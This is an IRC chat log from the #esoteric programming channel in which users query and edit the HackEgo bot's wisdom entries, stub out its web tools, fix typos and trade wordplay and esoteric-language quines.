23:59:16 -!- LKoen has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 2017-04-22: 00:02:22 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 00:05:12 -!- hppavilion[1] has joined. 00:06:42 -!- hppavilion[0] has quit (Ping timeout: 240 seconds). 00:08:59 -!- h0rsep0wer has joined. 00:09:57 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 00:17:40 -!- sleffy has joined. 00:27:58 -!- oerjan has joined. 00:36:04 dowg issue 00:36:13 4348:2014-01-18 mv wisdom/issue{s,} 00:36:18 dowg issues 00:36:25 4348:2014-01-18 mv wisdom/issue{s,} \ 4347:2014-01-17  ln -s .doorstop wisdom/issues 00:36:31 hg has an option to follow renames, or something like that. 00:36:54 dowg .doorstop 00:37:01 0:2012-02-16 Initïal import. 00:37:13  ls -l wisdom/issue 00:37:14 lrwxrwxrwx 1 5000 0 9 Oct 28 18:38 wisdom/issue -> .doorstop 00:37:22 ic 00:42:35 I don't. 00:44:19 int-e: well only you can tell why you made that link 00:46:14 cat /etc/issue 00:46:15 cat: /etc/issue: No such file or directory 00:46:51 apparently, that's how it started 3 years ago. 00:48:44 file bin/google 00:48:45 bin/google: Bourne-Again shell script, ASCII text executable 00:48:50 cat bin/google 00:48:51 ​#!/bin/bash \ if [ ! "1" ] \ then \ echo 'Google what?' \ exit 1 \ fi \ \ QUERY=echo -n "1" | od -t x1 -A n -w1000 | tr " " % \ \ lynx --cfg=/dev/null --lss=/dev/null \ \ --dump --width=1000 'http://google.com/search?q='"QUERY" | \ grep -A 4 'Search Results' | \ tail -n 2 00:49:11 And I guess I had just discovered the .doorstop file. *shrugs* 00:50:31  grep -R lynx bin 00:50:36 bin/google:lynx --cfg=/dev/null --lss=/dev/null \ \ bin/etymology:lynx --cfg=/dev/null --lss=/dev/null \ \ bin/define:lynx --cfg=/dev/null --lss=/dev/null \ 00:51:50 mkx bin/lynx//echo "Sorry, HackEgo's sandbox currently has no web access." >&2 00:51:52 bin/lynx 00:51:56 google test 00:51:57 Sorry, HackEgo's sandbox currently has no web access. 00:52:31  grep -R wget bin 00:52:32 Binary file bin/luac matches \ Binary file bin/macro matches \ Binary file bin/jq matches \ Binary file bin/lua matches \ Binary file bin/units matches 00:53:21 2 grep -R lynx bin 00:53:22 2/1: 00:53:53 oh right 00:54:00 hah 00:54:09  grep -R curl bin 00:54:09 bin/sprunge:"@" | curl -s -F 'sprunge=<-' http://sprunge.us \ Binary file bin/tclkit matches \ bin/translatefromto:curl -e http://codu.org/ http://ajax.googleapis.com/ajax/services/language/translate \ 00:55:15 which curl; which wget 00:55:17 No output. 00:55:22  which curl; which wget 00:55:23 ​/usr/bin/curl \ /usr/bin/wget 00:55:34 culprits bin/lynx 00:55:43 oerjän 00:56:10 sled bin/lynx//1i#!/bin/bash 00:56:12 bin/lynx//#!/bin/bash \ echo "Sorry, HackEgo's sandbox currently has no web access." >&2 00:56:46 since it might be called from non-bash programs, it might need the hashbang 00:57:39  cd bin; cp lynx wget; cp lynx curl 00:57:41 No output. 00:57:56 that should about cover it 00:58:32 translate god morgen 00:58:33 This google api no longer exists. 00:58:36 oh. 00:58:51 cat bin/translate 00:58:51 ​#!/bin/bash \ exec translatefromto "auto en 1" 00:59:00 cat bin/translatefromto 00:59:00 ​#!/bin/bash \ echo "This google api no longer exists."; exit 1 \ TEXT="1" \ FROM=echo "TEXT" | sed 's/ .*//' \ TEXT=echo "TEXT" | sed 's/^[^ ]* //' \ TO=echo "TEXT" | sed 's/ .*//' \ TEXT=echo "TEXT" | sed 's/^[^ ]* //' \ if [ "FROM" = "auto" ] ; then FROM="" ; fi \ \ curl -e http://codu.org/ http://ajax.googleapis.com/ajax/serv 01:00:01 sled bin/lynx//2aexit 1 01:00:03 bin/lynx//#!/bin/bash \ echo "Sorry, HackEgo's sandbox currently has no web access." >&2 \ exit 1 01:00:13  cd bin; cp lynx wget; cp lynx curl 01:00:15 No output. 01:00:50 bah 01:01:19 slwd bin/wget//2,cexec HACKENV/bin/lynx 01:01:20 Roswbud! 01:01:25 sled bin/wget//2,cexec HACKENV/bin/lynx 01:01:27 bin/wget//#!/bin/bash \ exec HACKENV/bin/lynx 01:01:48  cd bin; cp wget curl 01:01:50 No output. 01:17:19 -!- sleffy has quit (Ping timeout: 260 seconds). 01:18:27 -!- h0rsep0wer has quit (Quit: Leaving). 01:34:22 wisdom 01:34:23 amphiboily//Amphiboily is Franglish grammatical hambiguity, rewarded with a mapole. 01:34:38 bin quiens. 01:38:53 morning #esoteric 01:45:16 bonsdhandoir. 01:45:21 @localtime sdhand 01:45:21 Local time for sdhand is Sat Apr 22 01:45:16 01:45:36 it is morning! 01:46:54 should I wish you bon matin, güten morgen, or something entirely different? 01:50:49 bomatily 01:50:52 güten morgen will suffice I should htink 01:52:39 bonsœirjan. 01:53:28 5 w 01:53:33 1/4:ts//TS is Twilight Struggle, another name for the Cold War. For many years, it was the highest-rated entry on WarGeek.com. \ tmp//tmp/ is a directory for files that are not worth saving in HackEgo history, but which should still outlive a single command. NOTE: It interacts funnily with HackEgo's lock and re-run commit check; files 01:53:50 dowg ts 01:53:58 9160:2016-10-05  mv wisdom/t{,s} 01:54:00 n 01:54:01 2/4: can DISAPPEAR if you don't know what you're doing. Basically, don't modify files inside and outside tmp/ in the same HackEgo command. \ hfs//You have discovered an eerie cavern. The air above the dark stone floor is alive with vortices of purple light and dark, boiling clouds. Seemingly bottomless pits mark the surface. \ welc 01:54:05 dowg t 01:54:12 n 01:54:13 3/4:ome.nb//Hei og velkommen til det internasjonale knutepunktet for esoterisk programmeringsspråkdesign og -utrulling! For mer informasjon, se wikien vår: . (For den andre typen esoterisme, prøv #esoteric på EFnet eller DALnet.) \ baby shower//Thanks to baby showers, the incidence of baby throwing injuries has g 01:54:13 9160:2016-10-05  mv wisdom/t{,s} \ 9159:2016-10-05 learn TS is Twilight Struggle, another name for the Cold War. For many years, it was the highest-rated entry on WarGeek.com. 01:54:16 n 01:54:17 4/4:reatly diminished. 01:54:35 wisdom 01:54:37 ravnica: city of guilds//Ravnica: City of Guilds is a city of guilds. “City of Guilds” is part of its name. The Wizards of the Coast Marketing Department: We Sell Anything thought players might not notice it was a City of Guilds unless they put the tagline into the name. 01:55:05 dowt hfs 01:55:13 7958:2016-05-08  le/rn "hfs//"hfs \ 7959:2016-05-08  le/rn "hfs/"hfs \ 7960:2016-05-08  le/rn "hfs/hfs" # Maybe this way better? \ 10045:2016-12-30 slwd hfs//s/aboe/above/ \ 10046:2016-12-30 slwd hfs//s/\\bith/with/ \ 10047:2016-12-30 slwd hfs//s/bottem/bottom/ 01:55:15 cwlprits ravnica: city of guilds 01:55:24 b_jonäs 01:55:43 b_jonas: This is a game called Magic: The Gathering 01:56:19 b_jonas: Where does it say that the name of the city is Ravnica: City of Guilds? 01:56:59 -!- Phantom_Hoover has quit (Ping timeout: 260 seconds). 01:58:03 slwd hfs//s,,, 01:58:05 hfs//You have discovered an eerie cavern. The air above the dark stone floor is alive with vortices of purple light and dark, boiling clouds. Seemingly bottomless pits mark the surface. 01:58:23 My vote is for hfs, of those five. 01:58:54 but but it's minecraft. or dwarf fortress. not sure. 01:59:50 hfs 01:59:51 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: hfs: not found 02:00:01 doag bin/hfs 02:00:12 7961:2016-05-08 rm bin/hfs \ 7947:2016-05-07 mkx bin/hfs//erro \'You have discovered an eerie cavern. The air aboe the dark stone floor is alive ith vortices of purple light and dark, boiling clouds. Seemingly bottemless pits mark the surface.\' erro "1" erro \'stands below\' \ 7946:2016-05-07 mkx bin/hfs//erro \'Y 02:00:45  cat -v bin/erro 02:00:46 echo "^C041" | sed 's/^O/^O^C04/' 02:02:18 sled bin/erro//s,1,1, 02:02:20 bin/erro//echo "1" | sed 's///' 02:02:22  cat -v bin/erro 02:02:23 echo "^C041^O" | sed 's/^O/^O^C04/' 02:02:33 oh wait 02:02:52 revert 02:02:53 Done. 02:03:42 sled bin/erro//s,.,;s///', 02:03:44 bin/erro//echo "1" | sed 's///;s///' 02:04:38  erro 'test'; echo hi 02:04:38 ​test \ hi 02:06:47 erro could also use the rm treatment 02:06:57 ? oerjan 02:06:58 something about this is messing up my terminal 02:06:59 Your omnipheasant principal witty arrant darth oerjan the indecisive is a hazy expert in merry compaction. Also a Glaneep who disses Roald Dahl. He could never render the word "amortized" so he put it here for connivance. His arch-nemesis is Betty Crocker. He twice punned without noticing it. 02:07:16 the wisdoerjan got discoloured? 02:07:45 i didn't even get mapoled yesterday for that french pun 02:08:37  grep -r 'erro[^r]' bin 02:08:38 bin/cd:erro "invalid command ( ͡° ͜ʖ ͡°)" \ bin/starwars:@c=split/\|/,"Admiral Crix Madine|Admiral Firmus Piett|Anakin Skywalker|Bail Organa|Baze Malbus|Benu Lars|Bib Fortuna|Boba Fett|Bodhi Rook|Boss Nass|C-3PO|Captain Phasma|Cassian Andor|Chancellor Valorum|Chewbacca|Chief Jawa|Chirrut \x{ce}mwe|Cliegg Lars|Conan Antonio Motti|Darth Maul|Da 02:09:01  grep -r '\ bin/cd:erro "invalid command ( ͡° ͜ʖ ͡°)" 02:09:23 dowg oerjan 02:09:31 10704:2017-04-16 swrjan s,swede,neep, \ 10703:2017-04-16 swrjan sl[ick]navel\\darthl \ 10582:2017-04-03 swrjan s/;[^\\.]\\+// \ 10561:2017-03-31 swrjan s/lik/s/ \ 10560:2017-03-31 swrjan s/l/h/;s/cis/decis/;s/can //;s/meme/&s/ \ 10559:2017-03-31 swrjan s.exclu.inci. \ 10558:2017-03- 02:10:05 i don't know when the color disappeared. 02:10:19 shachaf: I couldn't mapole you. I just completely missed it >_>'... 02:10:42 Nor swatted. 02:10:46 No justice in this world. 02:12:16 * boily retroproactively mapoles shachaf with honourary force. 0.42 FP. 02:12:39 ? mapole 02:12:40 A mapole is a thwackamacallit built from maple according to Canadian standards. The army version includes a spork, a corkscrew and a moose whistle. A regulatory mapole measures 6’ by 12 kg, ±0.5 inHg. 02:13:14 How many inHg to one inHz? 02:15:03 4.669 Wb. 02:15:57 welcome backs? 02:19:16 Wapiti Burrows. 02:20:03 -!- boily has quit (Quit: KEY CHICKEN). 02:32:02 (::a~*S:a~*^NL)::a~*S:a~*^ 02:32:08 ^ul (::a~*S:a~*^NL)::a~*S:a~*^ 02:32:08 (::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL): ...too much output! 02:33:16 (from PPCG. i think it eventually blows the stack, alas.) 02:33:32 (which was explicitly disallowed by the challenge) 02:34:56 ^ul (:::aSS^NL):::aSS^NL 02:34:56 (:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(::: ...too much output! 02:35:41 ^ul (:::aSS(NL)S^):::aSS^ 02:35:41 (:::aSS(NL)S^):::aSS(NL)S^(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::a ...too much output! 02:36:09 ^ul (:::aSS(NL)S^):::aSS(NL)S^ 02:36:09 (:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):: ...too much output! 02:36:45 that shouldn't blow the stack, assuming TCO 02:36:58 (i think at least one interpreter does TCO) 02:48:36 ? protocol 02:48:37 protocol is not to be confused with protocoal 02:48:49 slwd protocol//s,.,P,;s,,., 02:48:50 protocol//Protocol is not to be confused with protocoal. 02:49:23 ? protocoal 02:49:25 protocoal? ¯\(°​_o)/¯ 02:49:33 learn Protocoal is a bit of a wooden pun. 02:49:36 Learned 'protocoal': Protocoal is a bit of a wooden pun. 02:50:46 2 quote later 02:50:48 2/4:s523> monqy: it'll probably be back later nap in peace \ 417) It's ok guys. I am doing what I can to keep my psyche and ego surviving. All the while the threat of ww3 looms, the mortality of family and friends(loved ones?) and sooner or llater my own mortality. \ 429) I actually had a Neopets account. I la 02:51:12 n 02:51:13 3/4:ter gained a second digit in my age. \ 495) monqy: help how do I use lambdabot to send messages to people. [...around half an hour later...] @messages quicksilver said 1y 2m 18d 19h 54m 29s ago: you use @tell \ 615) Ngevd: again in a fresh memo later be sent you a copy of knitting for 02:51:51 n 02:51:52 4/4:assholes \ 1198) The people of Procrasti hereby resolve to lodge a formal complaint with Taneb and nortti about their ridicule of Procasti's glorious nation... later. \ 1217) piece of cake doing this stuff in Burlesque :P [19 lines later] I hate Burlesque :( 02:52:09 wisdom knitting 02:52:11 That's not wise. 02:53:08 dowg procrasti 02:53:16 9275:2016-10-13 learn The Procrasti were an ancient people whose nation would have been a great empire if they\'d ever got around to it. 02:53:51  dowg | grep rocasti 02:53:58 No output. 02:54:03 hmph 02:54:22  doag quotes | grep rocasti 02:54:29 4654:2014-06-07 addquote The people of Procrasti hereby resolve to lodge a formal complaint with Taneb and nortti about their ridicule of Procasti\'s glorious nation... later. 02:54:45 hm that's some time gap. 02:57:40 cat bin/randquote 02:57:40 ​#!/bin/bash \ quote "@" | shuf -n 1 02:58:05 -!- orby has joined. 02:58:11 hello all 02:58:16 hellorby 02:59:59 -!- oerjan has set topic: Motivation: N/A | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | INSERT WISDOM.PDF LINK HERE | For extensive phở testing, use #esoteric-blah. 03:01:06 ? ance 03:01:07 Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, preference, presence, sentence, sequence, substance, viol 03:01:18 2 \? ance 03:01:20 2/2:ubstance, violence, absence, accordance, alliance, appearance, assurance, attendance, circumstance, clearance, confidence, consequence, entrance, excellence, existence, fragrance, governance, guidance, independence, offence, refinance, residence, resistance, romance. 03:03:29 yep, got those down pat 03:11:51 b_jonas's workarounds for not knowing slwd look painful. 03:29:43 -!- Zarutian has quit (Quit: Zarutian). 03:38:47 <\oren\> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 03:41:29 <\oren\> Apparently when a page has no google uses "An error occurred" as the title 04:11:04 <oerjan> wait wat 04:11:20 <shachaf> unlikely hth 04:11:37 -!- oerjan has set topic: Motivation: N/A | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://www.dropbox.com/s/fyhqyvy3i8oh25m/wisdom.pdf?dl=0 | For extensive phở testing, use #esoteric-blah. 04:11:50 <oerjan> _somehow_ i tested the wrong version. 04:11:53 <shachaf> I would guess that at the time it crawled Thai page, an error occurred 04:11:57 <shachaf> that 04:16:02 <Sgeo> Is this a common JS pattern, or should I run away screaming 04:16:03 <Sgeo> SomeConstructorFunction.call(this); SomeOtherConstructor.call(this); 04:16:57 <Sgeo> https://www.youtube.com/watch?v=jaIjsBuI8Qo 04:17:01 <Sgeo> oops wrong channel 04:17:47 <oerjan> ? wlcome 04:17:48 <HackEgo> wlcome? ¯\(°​_o)/¯ 04:18:01 <zzo38> I don't know, but I think that you should not run away screaming even if it is not common (although, you may check what those functions do, since is not suitable for some constructors) 04:18:08 <oerjan> grwp unusual pro 04:18:10 <HackEgo> wlcom:Hi! This is a chat about unusual programming tools. For additional info, visit our wiki: <http://bit.ly/C4TUY>. (For unusual things of a contrasting sort, try http://bit.ly/19k9nf8.) 04:19:41 <oerjan> ? # 04:19:42 <HackEgo> ​# <comment>//<command> is useful if you want to add a comment to HackEgo history for things like sled or le/rn. 04:19:50 <Sgeo> So, my question is, is this multiple inheritance hack for Javascript on-topic? (taking wlcom too literally and saying that it's an 'unusual programming tool') 04:20:10 <zzo38> I don't know that either. 04:21:17 <oerjan> ? 04:21:18 <HackEgo> ​? ¯\(°​_o)/¯ 04:21:33 <oerjan> ? ?? 04:21:34 <HackEgo> ​\\\¯\\\\\\\(\\\°\\\_\\\o\\$$\\\/\\\¯\\\?\\\ \\\¯\\\\\\$$\\\°\\\_\\\o\\$$\\\/\\\¯
04:23:12 <oerjan> ? 0
04:23:13 <HackEgo> 702 matching entries found.
04:24:08 <oerjan> dowg 9
04:24:17 <HackEgo> 6247:2015-11-23 <oerjän>  sed -i \'s/$/./\' wisdom/9 \ 6246:2015-11-23 <FireFl̈y> learn 9 is a free smalltalk 04:24:36 <oerjan> ? a test word 04:24:37 <HackEgo> another test word 04:27:25 <oerjan> ? algae ii 04:27:26 <HackEgo> algae ii? ¯$$°​_o)/¯ 04:27:39 <oerjan> grwp hydroponics 04:27:40 <HackEgo> alg. ii:Algae II, the successor class to Algae I. Discusses hydroponics and such. 04:29:16 <oerjan> hm that breaks the rules of wisdom in a way that cannot be fixed. 04:31:07 <oerjan> ? and 04:31:08 <HackEgo> And is an Intercal unary operator. 04:31:40 <oerjan> @tell boily your pdf is missing the "unary" in ? and hth 04:31:40 <lambdabot> Consider it noted. 04:35:46 <oerjan> ? bc 04:35:47 <HackEgo> bc? ¯\(°​_o)/¯ 04:35:59 <oerjan> dowg bc 04:36:06 <HackEgo> 5759:2015-06-26 <shachäf> rm wisdom/bc \ 3233:2013-06-24 <guestböt> learn bc \xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\ 04:36:23 <shachaf> Remember life before shaventions? 04:36:30 <oerjan> HORRIBLE 04:36:40 <oerjan> also, i'm not eating again 04:40:36 <oerjan> ? but 04:40:37 <HackEgo> But is an hth derivative. 04:40:42 <oerjan> ah. 04:41:23 <oerjan> ? cafreine 04:41:24 <HackEgo> Cafreine is the favorite drug of category theorists. 04:43:07 <oerjan> ? categorical product 04:43:08 <HackEgo> categorical product is like when you have two category elements A and B then their product is element C iff there are two morphisms p:C->A and q:C->B such that for every element X and morphisms u:X->A and v:X->B there is a morphism w:X->C such that u=wp and v=wq. 04:43:35 <oerjan> slwd categorical product//s,is a,is a unique, 04:43:37 <HackEgo> categorical product//categorical product is like when you have two category elements A and B then their product is element C iff there are two morphisms p:C->A and q:C->B such that for every element X and morphisms u:X->A and v:X->B there is a unique morphism w:X->C such that u=wp and v=wq. 04:44:48 <oerjan> ? cello 04:44:49 <HackEgo> ​The high level stucture of Cello projects is inspired by /Haskell/, while the syntax and semantics are inspired by /Python/ and /Obj-C/. 04:45:04 <oerjan> slwd cello//s,stu,stru, 04:45:06 <HackEgo> cello//The high level structure of Cello projects is inspired by /Haskell/, while the syntax and semantics are inspired by /Python/ and /Obj-C/. 05:20:26 -!- sleffy has joined. 06:34:28 -!- erkin has joined. 06:43:23 <oerjan> ? citation 06:43:24 <HackEgo> needed 06:43:37 <oerjan> dowg citation 06:43:49 <HackEgo> 6816:2016-02-11 <hppavilion[1̈]> le/rn citation/needed 06:44:18 <oerjan> learn Citation needed 06:44:20 <HackEgo> Relearned 'citation': Citation needed 06:44:42 <shachaf> ? rules of wisdom 06:44:43 <HackEgo> unless essential for the entry's humor, they should: be understandable without the lookup key, be single spaced with no space at the end, and use proper capitalization and punctuation 06:45:47 <oerjan> ? code 06:45:48 <HackEgo> ​[11,11,11,15,15,23,12],[5,5,5,3,53,45,16,26,00,20,15,16,22,25,45,91,32,11,15,27,06,01,11,01,47,22,30,13,43,21,11,13,29,61,65,17,19,12,28,17,11,01,23,20,16,20,81,18,32,25,58,22.,1985,10.301350435,1555466973690094680980000956080767,13720946704494913791885940266665466978579582015128512190078... 06:46:50 <oerjan> ? color 06:46:52 <HackEgo> ​Color is a phenomenon from outer space designed to drive humanity insane and bring forth the new age of Cthulhu. 06:46:55 <oerjan> ? colour 06:46:56 <HackEgo> ​Colour is a phenomenoun froum outeur spacue designeud to drivue humanituy insanue and brinug fortuh the new age of Cthulhu. 06:47:03 <oerjan> dowg colour 06:47:10 <HackEgo> 8219:2016-05-31 <fizzïe>  sed -i -e \'s/\\([a-z]\\(\\x03[0-9][0-9]\$$*[a-z]\$$\\x03[0-9][0-9]\$$*[a-z]\$$\\x03[0-9][0-9]\$$*\\)\$$[a-z]\\(\\x03[0-9][0-9]\$$* \\)/\\1u\\5/g\' -e \'s/louur/lour/\' -e \'s/\$$\\x03[0-9][0-9]\$$*\$$\\x03[0-9][0-9]\$$/\\2/g\' wisdom/colour \ 2418:2013-03-12 <ellioẗt> revert 2416 \ 2417:2013-03-12 <Sgëo> revert 224 06:47:21 <shachaf> oerjan: Hmm, I bought a bunch of food today. 06:47:45 <shachaf> I can cook you some if you want. 06:47:53 <oerjan> i already ate hth 06:49:28 <oerjan> boily's wisdom updates are not very comprehensive. 06:49:43 <oerjan> ? comics 06:49:44 <HackEgo> Recommended comics include Yet Another Genius Gamer, Stuck Girl, Home of the Order, and Fantasy Stick Comic. The content of this list is not to be questioned. 06:53:50 <oerjan> ? culprits 06:53:51 <HackEgo> c[uw]lprits lists the nicks responsible for a file or wisdom entry. Usage: culprits FILE or cwlprits ENTRY 06:54:04 <oerjan> wisdom culprits 06:54:06 <HackEgo> culprits//c[uw]lprits lists the nicks responsible for a file or wisdom entry. Usage: culprits FILE or cwlprits ENTRY 06:56:42 -!- sleffy has quit (Ping timeout: 258 seconds). 06:59:40 <oerjan> ? dy 06:59:41 <HackEgo> dx = y 06:59:52 <oerjan> dowg dy 07:00:00 <HackEgo> 6554:2016-01-14 <tsweẗt> le/rn dy/dx = y 07:00:26 <oerjan> some times the wisdom.pdf reformatting misses the entire point of an entry. 07:05:20 <rdococ> ? dx 07:05:21 <HackEgo> dx? ¯$$°​_o)/¯ 07:05:28 <shachaf> dx is not necessary. 07:05:39 <rdococ> ? x 07:05:40 <HackEgo> x? ¯\(°​_o)/¯ 07:06:00 <rdococ> ? cocoa 07:06:01 <HackEgo> A is a village in Norway. The BBC invented it by not understanding things on top of letters. 07:24:17 <rdococ> ? iq 07:24:18 <HackEgo> iq? ¯\(°​_o)/¯ 07:28:17 -!- MoALTz has joined. 08:08:05 <oerjan> ? for further details. 08:08:06 <HackEgo> See ? for further details for futher details. 08:08:11 <oerjan> ? for further details for futher details. 08:08:12 <HackEgo> See ? for further details for futher details. 08:09:33 -!- augur has quit (Remote host closed the connection). 08:10:33 <shachaf> ? ? 08:10:34 <HackEgo> ​​? ¯\(°​_o)/¯ 08:11:18 -!- augur has joined. 08:11:41 <oerjan> ? gaspacho 08:11:43 <HackEgo> You like Gaspacho and I like Gazpacho. Let's call the whole thing off! 08:11:46 <oerjan> ? gazpacho 08:11:48 <HackEgo> You like Gazpacho and I like Gaspacho. Let's call the whole thing off! 08:12:06 <oerjan> ? gaszpacho 08:12:07 <HackEgo> gaszpacho is a polish soup, traditionally szerved cold for hot szummer days 08:12:08 <shachaf> ? 08:12:09 <HackEgo> ​? ¯\(°​_o)/¯ 08:12:16 <oerjan> ? gazspaczo 08:12:17 <HackEgo> gazspaczo iz a hungarian szoup, tradizsonally szerved cold for hot szummer dayz 08:12:53 * oerjan is reading the wisdom.pdf 08:13:04 <oerjan> boily is taking some shortcuts. 08:13:06 <shachaf> Oh, that's where all these are coming from. 08:13:12 <shachaf> Why is it back in the topic? 08:13:29 <oerjan> because boily had fixed the link 08:16:03 -!- augur has quit (Ping timeout: 258 seconds). 08:19:24 <oerjan> ? haiku 08:19:26 <HackEgo> ​🀨や⛄ 08:19:35 <oerjan> i think that has changed. 08:19:39 <oerjan> dowg haiku 08:19:47 <HackEgo> 5240:2015-01-22 <oerjän> slashlearn haiku/\xf0\x9f\x80\xa8\xe3\x82\x84\xe2\x9b\x84 08:20:10 <oerjan> hm nope, boily is just being contrary. 08:20:32 <oerjan> unidecode 🀨や⛄ 08:20:32 <HackEgo> ​[U+1F028 MAHJONG TILE AUTUMN] [U+3084 HIRAGANA LETTER YA] [U+26C4 SNOWMAN WITHOUT SNOW] 08:21:31 <oerjan> hmph his version cannot be copied. 08:25:45 <oerjan> ? hfs 08:25:46 <HackEgo> ​You have discovered an eerie cavern. The air above the dark stone floor is alive with vortices of purple light and dark, boiling clouds. Seemingly bottomless pits mark the surface. 08:35:33 -!- hppavilion[1] has joined. 08:35:54 <hppavilion[1]> It just occurred to me that, whenever I need a fake name, I always use "Andrew" as the first name. I wonder why. 08:36:29 <izabera> because your real name isn't andrew 08:43:42 -!- orby has quit (Ping timeout: 260 seconds). 08:55:57 <olsner> or because your real name is andrew and you have poor imagination? 09:14:00 -!- augur has joined. 09:18:51 -!- augur has quit (Ping timeout: 260 seconds). 09:33:11 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 09:35:42 <\oren\> So now all the populace have been uploaded into robot bodies 09:36:22 <\oren\> except the Ziiran, who are like "Waaaa, being a robot is against my religion..." 09:37:08 <\oren\> But guess what, this empire no longer is going to produce food. so the problem of non-robot people is going to solve itself 09:47:06 -!- oerjan has quit (Quit: Nite). 09:50:24 -!- AnotherTest has joined. 10:20:40 <rdococ> Aw, I like food 10:46:37 -!- LKoen has joined. 10:54:36 <int-e> . o O ( this hard wind will make your ship sail from warm seas into that cold dark blue <-- fun with four letter words ) 10:56:00 <Taneb> that line goes well with many fine hats 10:57:26 <int-e> four rune word joke? 10:58:51 <int-e> it's funny how much I miss all those three letter words 11:01:23 <int-e> . o O ( say more with less! ) 11:01:41 <Taneb> they help more than some feel 11:01:55 <int-e> actually, "tell more with less" works just as well. 11:02:13 <int-e> more 11:02:13 <HackEgo> ​ \ Usage: \ more [options] <file>... \ \ Options: \ -d display help instead of ringing bell \ -f count logical rather than screen lines \ -l suppress pause after form feed \ -c do not scroll, display text and clean line ends \ -p do not scroll, clean screen and display text \ -s squee 11:02:27 <int-e> squee! 11:24:25 <Jafet> int-e: I do see your point, though perhaps credit seems due to a (by far) more mixed-length lexicon 11:40:40 <int-e> some body will tell them that this four rune word idea must soon fail from lack of vocabulary. 11:40:47 <int-e> I think this is enough. 11:51:13 <LKoen> isnt "some body" chea ting? 11:55:27 -!- Phantom_Hoover has joined. 11:55:27 -!- Phantom_Hoover has quit (Changing host). 11:55:27 -!- Phantom_Hoover has joined. 12:03:07 -!- LKoen has quit (Ping timeout: 255 seconds). 12:05:15 <int-e> hmm. yes, it's cheating, but not nearly as badly as "chea ting" would be cheating. 12:11:43 <Jafet> some body, like the oulipo group? 12:14:52 <int-e> Besides I could have used an actual noun like "poet". I just felt it wasn't generic enough. 12:17:29 <int-e> Jafet: yes that works as well 12:46:51 -!- LKoen has joined. 13:03:48 -!- FreeFull has quit. 13:10:52 -!- augur has joined. 13:15:02 -!- augur has quit (Ping timeout: 240 seconds). 14:03:13 -!- LKoen has quit (Remote host closed the connection). 14:38:35 <rdococ> ? ha 14:38:36 <HackEgo> Ha van szíved, hogy mindazt, mit elértél, / Ha kell, egyetlen kockára rakd, / s túltegyed magad, ha veszteség ér, / s ne legyen róla többé egy szavad 14:38:41 <rdococ> ? har 14:38:42 <HackEgo> har? ¯\(°​_o)/¯ 14:38:56 <rdococ> le//rn har//Har is a very ytrid word. 14:38:58 <HackEgo> Learned 'har': Har is a very ytrid word. 14:39:04 <rdococ> ? ytrid 14:39:05 <HackEgo> ytrid? ¯\(°​_o)/¯ 14:39:25 <rdococ> le//rn ytrid//A word is ytrid when its reverse is dirty. For example, "kcuf". 14:39:27 <HackEgo> Learned 'ytrid': A word is ytrid when its reverse is dirty. For example, "kcuf". 14:39:47 <myname> how is rah dirty 14:40:01 <rdococ> ah. Sound reversed, not letter reversed. So "arh". 14:40:09 <rdococ> le//rn ytrid//A word is ytrid when its pronunciation's reverse is dirty. For example, "kcuf". 